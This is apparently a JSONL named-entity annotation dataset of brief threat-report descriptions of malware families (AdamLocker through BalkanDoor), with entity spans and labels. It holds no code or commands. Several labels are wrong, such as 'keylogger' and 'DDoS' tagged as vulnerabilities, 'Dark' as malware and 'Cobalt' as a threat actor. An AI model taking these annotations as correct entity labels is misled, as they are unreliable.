+{"text": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.", "spans": {"DOMAIN: Adf.ly": [[178, 184]]}, "info": {"source": "apt_reports", "name": "AdamLocker"}}
+{"text": "AdaptixC2 is a open-source post-exploitation and adversarial emulation framework that lets penetration testers control compromised hosts and execute system actions. While being created for red-teaming it is also used by threat actors for attacks.", "spans": {"MALWARE: AdaptixC2": [[0, 9]]}, "info": {"source": "apt_reports", "name": "AdaptixC2"}}
+{"text": "Some Ransomware distributed by TA547 in Australia", "spans": {"THREAT_ACTOR: TA547": [[31, 36]]}, "info": {"source": "apt_reports", "name": "Adhubllka"}}
+{"text": "AdvisorsBot is a downloader named after early command and control domains that all contained the word \"advisors\". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.", "spans": {"MALWARE: AdvisorsBot": [[0, 11]], "SYSTEM: Windows": [[226, 233]]}, "info": {"source": "apt_reports", "name": "AdvisorsBot"}}
+{"text": "Ransomware written using .NET.", "spans": {"SYSTEM: .NET": [[25, 29]]}, "info": {"source": "apt_reports", "name": "AESRT"}}
+{"text": "Qilin ransomware has been active since at least 2022. Both Golang and Rustlang samples have been observed in use. Qilin is known to operate with a Ransomwareas-a-Service (Raas) model, with double extortion (decrypter + non-release of data) tactics observed.", "spans": {"MALWARE: Qilin": [[0, 5], [114, 119]]}, "info": {"source": "apt_reports", "name": "AgendaCrypt"}}
+{"text": "Agent Racoon is a .NET-based backdoor malware that leverages DNS for covert C2 communication, employing randomized subdomains and Punycode encoding to evade detection. It features encrypted communication using a unique key per sample, supports remote command execution, and facilitates file transfers. Despite lacking an inherent persistence mechanism, it relies on external methods like scheduled tasks for execution. The malware, active since at least 2020, has targeted organizations in the U.S., Middle East, and Africa, including non-profits and government sectors. It disguises itself as legitimate binaries such as Google Update and MS OneDrive Updater, using obfuscation techniques like Base64 encoding and timestamp modifications to avoid detection​.", "spans": {"MALWARE: Agent Racoon": [[0, 12]], "SYSTEM: .NET": [[18, 22]], "ORGANIZATION: Google": [[622, 628]], "MALWARE: Racoon": [[6, 12]]}, "info": {"source": "apt_reports", "name": "Agent Racoon"}}
+{"text": "A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.", "spans": {"SYSTEM: Telegram": [[318, 326]], "SYSTEM: .NET": [[2, 6]]}, "info": {"source": "apt_reports", "name": "Agent Tesla"}}
+{"text": "The agfSpy backdoor retrieves configuration and commands from its C&C server. These commands allow the backdoor to execute shell commands and send the execution results back to the server. It also enumerates directories and can list, upload, download, and execute files, among other functions. The capabilities of agfSpy are very similar to dneSpy, except each backdoor uses a different C&C server and various formats in message exchanges.", "spans": {"MALWARE: agfSpy": [[4, 10], [314, 320]]}, "info": {"source": "apt_reports", "name": "AgfSpy"}}
+{"text": "According to Unit 42, this malware steals information from browsers and uses a covert channel through the AirWatch API.", "spans": {"ORGANIZATION: Unit 42": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Airstalk"}}
+{"text": "AkdoorTea is a simple TCP RAT.\r\n\r\nIn August 2025, it was contained in a trojanized Nvidia CUDA toolkit package, delivered probably via the ClickFix technique. The package also contained an obfuscated BeaverTail payload, which suggests its attribution to the Contagious Interview campaigns.\r\n\r\nAkdoorTea uses Base64 encryption combined with a single-byte XOR key for network traffic obfuscation.\r\n\r\nThe RAT supports five commands, one of which is to report its internal version, which is \"01.01\".\r\n\r\nIts name was inspired by the similarity to a TCP RAT, referred to as \"Akdoor\", that was used in attacks leveraging ActiveX exploits against South Korean targets in April 2018.", "spans": {"MALWARE: AkdoorTea": [[0, 9], [293, 302]], "THREAT_ACTOR: Contagious Interview": [[258, 278]], "MALWARE: BeaverTail": [[200, 210]]}, "info": {"source": "apt_reports", "name": "AkdoorTea"}}
+{"text": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.", "spans": {"MALWARE: ALDIBOT": [[38, 45], [235, 242]], "SYSTEM: Firefox": [[155, 162]], "SYSTEM: Trend Micro": [[13, 24]], "VULNERABILITY: DDoS": [[396, 400]]}, "info": {"source": "apt_reports", "name": "Aldibot"}}
+{"text": "AllaKore is a simple Remote Access Tool written in Delphi, first observed in 2015 but still in early stages of development. It implements the RFB protocol which uses frame buffers and thus is able to send back only the changes of screen frames to the controller, speeding up the transport and visualization control.", "spans": {"MALWARE: AllaKore": [[0, 8]]}, "info": {"source": "apt_reports", "name": "AllaKore"}}
+{"text": "According to HarfangLabs, AllaSenha is specifically aimed at stealing credentials that are required to access Brazilian bank accounts, leverages Azure cloud as command and control (C2) infrastructure, and is another custom variant of AllaKore, an infamous open-source RAT which is frequently leveraged to target users in Latin America.", "spans": {"MALWARE: AllaSenha": [[26, 35]], "SYSTEM: Azure": [[145, 150]], "MALWARE: AllaKore": [[234, 242]]}, "info": {"source": "apt_reports", "name": "AllaSenha"}}
+{"text": "Allcome is classified as a clipper malware. Clippers are threats designed to access information saved in the clipboard (the temporary buffer space where copied data is stored) and substitute it with another. This attack is targeted at users who are active in the cryptocurrency sector mainly.", "spans": {}, "info": {"source": "apt_reports", "name": "AllcomeClipper"}}
+{"text": "According to Threatray, AlmondRAT is a .NET Remote Access Trojan deployed by the Bitter APT group. It is capable of collecting system information, modifying and exfiltrating data and allows for remote command execution and shares similar functionality with BDarkRAT.", "spans": {"MALWARE: AlmondRAT": [[24, 33]], "SYSTEM: .NET": [[39, 43]], "MALWARE: BDarkRAT": [[257, 265]]}, "info": {"source": "apt_reports", "name": "AlmondRAT"}}
+{"text": "According to Threatray, AlmondRAT is a .NET RAT discovered in 2022, deployed by the Bitter group and it shares similar functionality with BDarkRAT.", "spans": {"MALWARE: AlmondRAT": [[24, 33]], "SYSTEM: .NET": [[39, 43]], "MALWARE: BDarkRAT": [[138, 146]]}, "info": {"source": "apt_reports", "name": "AlmondRAT"}}
+{"text": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user’s screen and prohibits any interaction with the computer.", "spans": {"MALWARE: Alphabet ransomware": [[4, 23]]}, "info": {"source": "apt_reports", "name": "Alphabet Ransomware"}}
+{"text": "A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.\r\n\r\nAlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.\r\n\r\nAlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.\r\n\r\nTo decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.", "spans": {"MALWARE: AlphaLocker": [[31, 42], [156, 167], [294, 305], [431, 442], [937, 948]], "SYSTEM: GitHub": [[548, 554]], "ORGANIZATION: RSA": [[1078, 1081], [1322, 1325], [1425, 1428]], "MALWARE: EDA2": [[492, 496], [737, 741]]}, "info": {"source": "apt_reports", "name": "AlphaLocker"}}
+{"text": "Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.\r\n\r\nIt uses either RC4 or DES for encryption of its configuration, which is stored in the registry.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, \r\nsystem locale, and network configuration.\r\n\r\nIt supports almost 25 commands that include operations on the victim’s filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker’s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.\r\n\r\nIt comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).\r\n\r\nAlreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.", "spans": {"MALWARE: Alreay": [[0, 6], [919, 925]], "SYSTEM: Windows": [[281, 288]], "VULNERABILITY: process injection": [[501, 518]]}, "info": {"source": "apt_reports", "name": "Alreay"}}
+{"text": "Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \"tasks\") for all or specifically targeted computers compromised by the malware.", "spans": {"MALWARE: Amadey": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Amadey"}}
+{"text": "Amatera is a stealer written in C++. It conducts anti-sandbox analysis before enumerating browsers, exfiltrating found cryptocurrency files/wallets and possibly credentials.", "spans": {"MALWARE: Amatera": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Amatera"}}
+{"text": "Anatova is a ransomware family with the goal of ciphering all the files that it can and then requesting payment from the victim. It will also check if network shares are connected and will encrypt the files on these shares too. The code is also prepared to support modular extensions.", "spans": {}, "info": {"source": "apt_reports", "name": "Anatova Ransomware"}}
+{"text": "Anchor is a sophisticated backdoor served as a module to a subset of TrickBot installations. Operating since August 2018 it is not delivered to everybody, but contrary is delivered only to high-profile targets. Since its C2 communication scheme is very similar to the one implemented in the early TrickBot, multiple experts believe it could be attributed to the same authors.", "spans": {"MALWARE: Anchor": [[0, 6]], "MALWARE: TrickBot": [[69, 77], [297, 305]]}, "info": {"source": "apt_reports", "name": "Anchor"}}
+{"text": "Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.", "spans": {}, "info": {"source": "apt_reports", "name": "AnchorMTea"}}
+{"text": "According to Proofpoint, AndroMut is a new downloader malware written in C++ that Proofpoint researchers began observing in the wild in June 2019. The “Andro” part of the name comes from some of the pieces which bear resemblance to another downloader malware known as Andromeda [1] and “Mut” is based off a mutex that the analyzed sample creates: “mutshellmy777”.", "spans": {"MALWARE: AndroMut": [[25, 33]], "ORGANIZATION: Proofpoint": [[13, 23], [82, 92]]}, "info": {"source": "apt_reports", "name": "AndroMut"}}
+{"text": "Ransomware that demands payment in Bitcoin.", "spans": {}, "info": {"source": "apt_reports", "name": "AnteFrigus"}}
+{"text": "According to Microsoft Security Intelligence, Anubis is an information stealer sold on underground forums since June 2020. The name overlaps with the Android banking malware but is unrelated. It contains code forked from Loki PWS.", "spans": {"MALWARE: Anubis": [[46, 52]], "SYSTEM: Android": [[150, 157]], "ORGANIZATION: Microsoft": [[13, 22]], "MALWARE: Loki": [[221, 225]]}, "info": {"source": "apt_reports", "name": "Anubis"}}
+{"text": "A loader written in Go, tracked since at least October 2021 by ZeroFox. Originally named Kraken and rebranded to Anubis in February 2022.", "spans": {"MALWARE: Kraken": [[89, 95]], "SYSTEM: Go": [[20, 22]], "MALWARE: Anubis": [[113, 119]]}, "info": {"source": "apt_reports", "name": "Anubis Loader"}}
+{"text": "This is an implant usable with the Mythic C2 framework. Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings.", "spans": {"MALWARE: Apollo": [[56, 62]], "TOOL: Mythic": [[35, 41]], "SYSTEM: .NET Framework": [[110, 124]], "SYSTEM: Windows": [[68, 75]], "SYSTEM: .NET": [[110, 114]]}, "info": {"source": "apt_reports", "name": "Apollo"}}
+{"text": "According to Microsoft, ApolloShadow has the capability to install a trusted root certificate to trick devices into trusting malicious actor-controlled sites, enabling Secret Blizzard to maintain persistence on diplomatic devices, likely for intelligence collection. It has been used in a campaign where Secret Blizzard has been targeting embassies located in Moscow using an adversary-in-the-middle (AiTM) position.", "spans": {"MALWARE: ApolloShadow": [[24, 36]], "ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "ApolloShadow"}}
+{"text": "Malware used by suspected Iranian threat actor Agrius, turned from wiper into ransomware.", "spans": {"MALWARE: Agrius": [[47, 53]]}, "info": {"source": "apt_reports", "name": "Apostle"}}
+{"text": "According to f-secure, Ardamax is a commercial keylogger program that can be installed onto the system from the product's website.& When run, the program can capture a range of user activities, such as keystrokes typed, instant messenger chat logs, web browser activity and even screenshots of the active desktop.\r\n\r\nThis program can be configured to a complete stealth mode, with password protection, to avoid user detection.\r\n\r\nThe information gathered is stored in an encrypted log file, which is only viewable using the built-in Log Viewer. The log file can be sent to an external party through e-mail, via a local area network (LAN) or by upload to an FTP server (in either HTML or encrypted format).", "spans": {"MALWARE: Ardamax": [[23, 30]], "VULNERABILITY: keylogger": [[47, 56]]}, "info": {"source": "apt_reports", "name": "ArdaMax"}}
+{"text": "A banking trojan, derived from the source code of win.kronos. In August 2022 it started to incorporate DGA code from win.qakbot.", "spans": {}, "info": {"source": "apt_reports", "name": "Ares"}}
+{"text": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums “RAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", "spans": {"MALWARE: AresLoader": [[0, 10], [1034, 1044], [1059, 1069]], "SYSTEM: GitHub": [[370, 376]], "SYSTEM: Windows": [[844, 851]], "ORGANIZATION: Microsoft": [[755, 764]], "VULNERABILITY: XSS": [[118, 121]], "MALWARE: Aurora": [[1153, 1159]], "MALWARE: Dark": [[91, 95]], "MALWARE: Lumma Stealer": [[1130, 1143]], "MALWARE: Amadey": [[972, 978]], "MALWARE: SystemBC": [[962, 970], [1120, 1128]], "MALWARE: Raccoon": [[992, 999]], "MALWARE: Aurora Stealer": [[1153, 1167]], "MALWARE: Ares": [[336, 340]]}, "info": {"source": "apt_reports", "name": "AresLoader"}}
+{"text": "During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called \"ArguePatch\" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe).\r\nArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.", "spans": {"MALWARE: ArguePatch": [[107, 117], [153, 163], [243, 253]], "SYSTEM: ESET": [[135, 139]], "MALWARE: CaddyWiper": [[88, 98], [299, 309]]}, "info": {"source": "apt_reports", "name": "ArguePatch"}}
+{"text": "This malware is a Go written variant of Micropsia and according to DeepInstinct it is still in development.", "spans": {"SYSTEM: Go": [[18, 20]], "MALWARE: Micropsia": [[40, 49]]}, "info": {"source": "apt_reports", "name": "Arid Gopher"}}
+{"text": "Helper malware associated with AridGopher, which will provide an alternative persistence mechanism in case \"360 total security\" is found on a target system.", "spans": {}, "info": {"source": "apt_reports", "name": "AridHelper"}}
+{"text": "Arkei is a stealer that appeared around May 2018. It collects data about browsers (saved passwords and autofill forms), cryptocurrency wallets, and steal files matching an attacker-defined pattern. It then exfiltrates everything in a zip file uploaded to the attacker's panel. Later, it was forked and used as a base to create Vidar stealer.", "spans": {"MALWARE: Vidar": [[327, 332]]}, "info": {"source": "apt_reports", "name": "Arkei Stealer"}}
+{"text": "It is available as a service, purchasable by anyone to use in their own campaigns. It’s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", "spans": {}, "info": {"source": "apt_reports", "name": "ArrowRAT"}}
+{"text": "ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.", "spans": {"MALWARE: ARS VBS Loader": [[26, 40]]}, "info": {"source": "apt_reports", "name": "ARS VBS Loader"}}
+{"text": "According to Unit 42, Ashen / AshTag is a modular .NET toolset currently in active development, with extensive features, including file exfiltration, content download and in-memory execution of additional modules.", "spans": {"MALWARE: Ashen": [[22, 27]], "MALWARE: AshTag": [[30, 36]], "SYSTEM: .NET": [[50, 54]], "ORGANIZATION: Unit 42": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Ashen"}}
+{"text": "According to Huntress, AstarionRAT is a full-featured RAT with 24 commands, including credential theft, SOCKS5 proxy, port scanning, reflective code loading, and shell execution, with RSA-encrypted C2 communication disguised as application telemetry.", "spans": {"MALWARE: AstarionRAT": [[23, 34]], "ORGANIZATION: Huntress": [[13, 21]], "ORGANIZATION: RSA": [[184, 187]], "VULNERABILITY: credential theft": [[86, 102]]}, "info": {"source": "apt_reports", "name": "AstarionRAT"}}
+{"text": "First spotted in the wild in 2017, Astaroth is a highly prevalent, information-stealing Latin American banking trojan. It is written in Delphi and has some innovative execution and attack techniques. Originally, this malware variant targeted Brazilian users, but Astaroth now targets users both in North America and Europe.", "spans": {"MALWARE: Astaroth": [[35, 43], [263, 271]]}, "info": {"source": "apt_reports", "name": "Astaroth"}}
+{"text": "Astasia is a banking trojan that spreads through phishing emails that contain an executable attachment. Once the attachment is executed, Astasia downloads and installs a trojan that runs in the background. The trojan can steal personal information, such as passwords and credit card numbers, from victims.", "spans": {"MALWARE: Astasia": [[0, 7], [137, 144]], "VULNERABILITY: phishing": [[49, 57]]}, "info": {"source": "apt_reports", "name": "Astasia"}}
+{"text": "AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.", "spans": {"TOOL: AsyncRAT": [[0, 8], [388, 396]], "VULNERABILITY: keylogger": [[269, 278]], "VULNERABILITY: spear-phishing": [[442, 456]], "VULNERABILITY: phishing": [[448, 456]]}, "info": {"source": "apt_reports", "name": "AsyncRAT"}}
+{"text": "Part of the Mythic framework, payload in C# (.NET 6), support HTTP, Websockets, Slack, SMB for C2.", "spans": {"TOOL: Mythic": [[12, 18]], "SYSTEM: Slack": [[80, 85]], "SYSTEM: SMB": [[87, 90]], "SYSTEM: .NET": [[45, 49]]}, "info": {"source": "apt_reports", "name": "Athena"}}
+{"text": "The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll.\r\nBoth libraries are legitimate Windows drivers used to interact with the components of different ATM models.", "spans": {"MALWARE: ATMSpitter": [[4, 14]], "SYSTEM: Windows": [[193, 200]]}, "info": {"source": "apt_reports", "name": "ATMSpitter"}}
+{"text": "According to PCrisk, AtomSilo is a type of malware that blocks access to files by encrypting them and renames every encrypted file by appending the \".ATOMSILO\" to its filename. It renames \"1.jpg\" to \"1.jpg.ATOMSILO\", \"2.jpg\" to \"2.jpg.ATOMSILO\", and so on. As its ransom note, AtomSilo creates the \"README-FILE-#COMPUTER-NAME#-#CREATION-TIME#.hta\" file.", "spans": {"MALWARE: ATOMSILO": [[150, 158], [206, 214], [235, 243]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "ATOMSILO"}}
+{"text": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor’s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware’s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.", "spans": {"THREAT_ACTOR: Attor": [[0, 5], [295, 300], [722, 727]], "TOOL: Tor": [[592, 595]]}, "info": {"source": "apt_reports", "name": "Attor"}}
+{"text": "According to Sophos, the AuKill tool abuses an outdated version of the driver used by version 16.32 of the Microsoft utility, Process Explorer, to disable EDR processes before deploying either a backdoor or ransomware on the target system.", "spans": {"MALWARE: AuKill": [[25, 31]], "TOOL: Process Explorer": [[126, 142]], "SYSTEM: Sophos": [[13, 19]], "ORGANIZATION: Microsoft": [[107, 116]]}, "info": {"source": "apt_reports", "name": "AuKill"}}
+{"text": "In July 2025, threat actor AuraCorp began advertising Aura Stealer as a Malware-as-a-Service (MaaS) program with multiple subscription tiers on underground forums. The information stealer targets credentials from over 110 browsers, 70 applications, and 250+ browser extensions, including cryptocurrency wallets and 2FA tools, while using AES-256 encryption for C2 communications. Notable features include seamless Chromium cookie harvesting without process termination, server-side App-Bound data decryption, and a built-in payload loader with custom morphing for detection evasion.", "spans": {"MALWARE: Aura Stealer": [[54, 66]]}, "info": {"source": "apt_reports", "name": "Aura Stealer"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "Aurora"}}
+{"text": "First advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in April 2022, Aurora Stealer is a Golang-based information stealer with downloading and remote access capabilities. The malware targets data from multiple browsers, cryptocurrency wallets, local systems, and act as a loader. During execution, the malware runs several commands through WMIC to collect basic host information, snaps a desktop image, and exfiltrates data to the C2 server within a single base64-encoded JSON file.", "spans": {"MALWARE: Aurora Stealer": [[104, 118]], "TOOL: WMIC": [[375, 379]], "MALWARE: Aurora": [[104, 110]]}, "info": {"source": "apt_reports", "name": "Aurora Stealer"}}
+{"text": "Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.", "spans": {"MALWARE: Avaddon": [[0, 7], [120, 127], [177, 184]], "SYSTEM: Windows": [[42, 49]]}, "info": {"source": "apt_reports", "name": "Avaddon"}}
+{"text": "Bleeping Computer notes about discovery of AVCrypt, a malware that tries to uninstall existing security software before it encrypts a computer. Furthermore, as it removes numerous services, including Windows Update, and provides no contact information, this ransomware may be a wiper.", "spans": {"MALWARE: AVCrypt": [[43, 50]], "SYSTEM: Windows": [[200, 207]]}, "info": {"source": "apt_reports", "name": "AVCrypt"}}
+{"text": "Cyble Research discovered this .Net written malware dubbed \"AvD Crypto Stealer\". The name of this malware is misleading, because this is a kind of clipper malware. Assumption of Cyble is, that this malware could target other threat actors as scenario.", "spans": {"MALWARE: AvD Crypto Stealer": [[60, 78]]}, "info": {"source": "apt_reports", "name": "AvD Crypto Stealer"}}
+{"text": "Information stealer which uses AutoIT for wrapping.", "spans": {}, "info": {"source": "apt_reports", "name": "Ave Maria"}}
+{"text": "AvosLocker is a ransomware-as-a-service (RaaS) gang that first appeared in mid-2021. It has since become notorious for its attacks targeting critical infrastructure in the United States, including the sectors of financial services, critical manufacturing, and government facilities.\r\n\r\nIn March 2022, the FBI and US Treasury Department issued a warning about the attacks.", "spans": {"MALWARE: AvosLocker": [[0, 10]], "ORGANIZATION: FBI": [[305, 308]], "ORGANIZATION: Treasury Department": [[316, 335]]}, "info": {"source": "apt_reports", "name": "AvosLocker"}}
+{"text": "Was previously wrongly tagged as PoweliksDropper, now looking for additional context.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 061"}}
+{"text": "Keylogger.", "spans": {}, "info": {"source": "apt_reports", "name": "Aytoke"}}
+{"text": "AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.", "spans": {"MALWARE: AZORult": [[0, 7]], "MALWARE: Ramnit": [[202, 208]]}, "info": {"source": "apt_reports", "name": "Azorult"}}
+{"text": "According to Checkpoint, this malware is a wiper instead of ransomware as self-announced. It is manually written in FASM, unrecoverably overwriting data in blocks of 666 bytes, using multi-threading.", "spans": {}, "info": {"source": "apt_reports", "name": "Azov Wiper"}}
+{"text": "According to Porthas, this is a ransomware written in Golang, using a time-based kill switch to limit its execution.", "spans": {}, "info": {"source": "apt_reports", "name": "B0"}}
+{"text": "According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers’ analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.", "spans": {"MALWARE: Babadeda": [[21, 29], [291, 299]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Babadeda"}}
+{"text": "Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.", "spans": {"MALWARE: Babuk": [[0, 5]], "SYSTEM: Windows": [[79, 86]], "SYSTEM: Linux": [[99, 104]]}, "info": {"source": "apt_reports", "name": "Babuk"}}
+{"text": "BABYMETAL is a command line network tunnel utility based on the TinyMet Meterpreter tool, primarily used to execute Meterpreter reverse shell payloads.", "spans": {"MALWARE: BABYMETAL": [[0, 9]], "TOOL: Meterpreter": [[72, 83], [116, 127]], "MALWARE: TinyMet": [[64, 71]]}, "info": {"source": "apt_reports", "name": "BABYMETAL"}}
+{"text": "BabyShark is Microsoft Visual Basic (VB) script-based malware family first  seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator", "spans": {"MALWARE: BabyShark": [[0, 9]], "ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "BabyShark"}}
+{"text": "FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.", "spans": {"MALWARE: BACKBEND": [[18, 26], [140, 148]], "ORGANIZATION: FireEye": [[0, 7]], "MALWARE: BACKSPACE": [[240, 249]]}, "info": {"source": "apt_reports", "name": "BACKBEND"}}
+{"text": "According to EclecticIQ, this is a downloader written in Go, able to exclude paths from Windows Defender in order to execute fetched payloads without raising alerts.", "spans": {"SYSTEM: Windows Defender": [[88, 104]], "SYSTEM: Windows": [[88, 95]], "SYSTEM: Go": [[57, 59]]}, "info": {"source": "apt_reports", "name": "BACKORDER"}}
+{"text": "According to Google, BADAUDIO is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.", "spans": {"MALWARE: BADAUDIO": [[21, 29]], "THREAT_ACTOR: Cobalt": [[395, 401]], "TOOL: Cobalt Strike": [[395, 408]], "TOOL: Cobalt Strike Beacon": [[395, 415]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "BADAUDIO"}}
+{"text": "BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.", "spans": {"MALWARE: BADFLICK": [[0, 8]]}, "info": {"source": "apt_reports", "name": "badflick"}}
+{"text": "According to ESET, BalkanDoor is a simple backdoor with a small number of commands (download and execute a file, create a remote shell, take a screenshot). It can be used to automate tasks on the compromised computer or to automatically control several affected computers at once. We have seen six versions of the backdoor, with a range of supported commands, evolve since 2016.", "spans": {"MALWARE: BalkanDoor": [[19, 29]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "BalkanDoor"}}
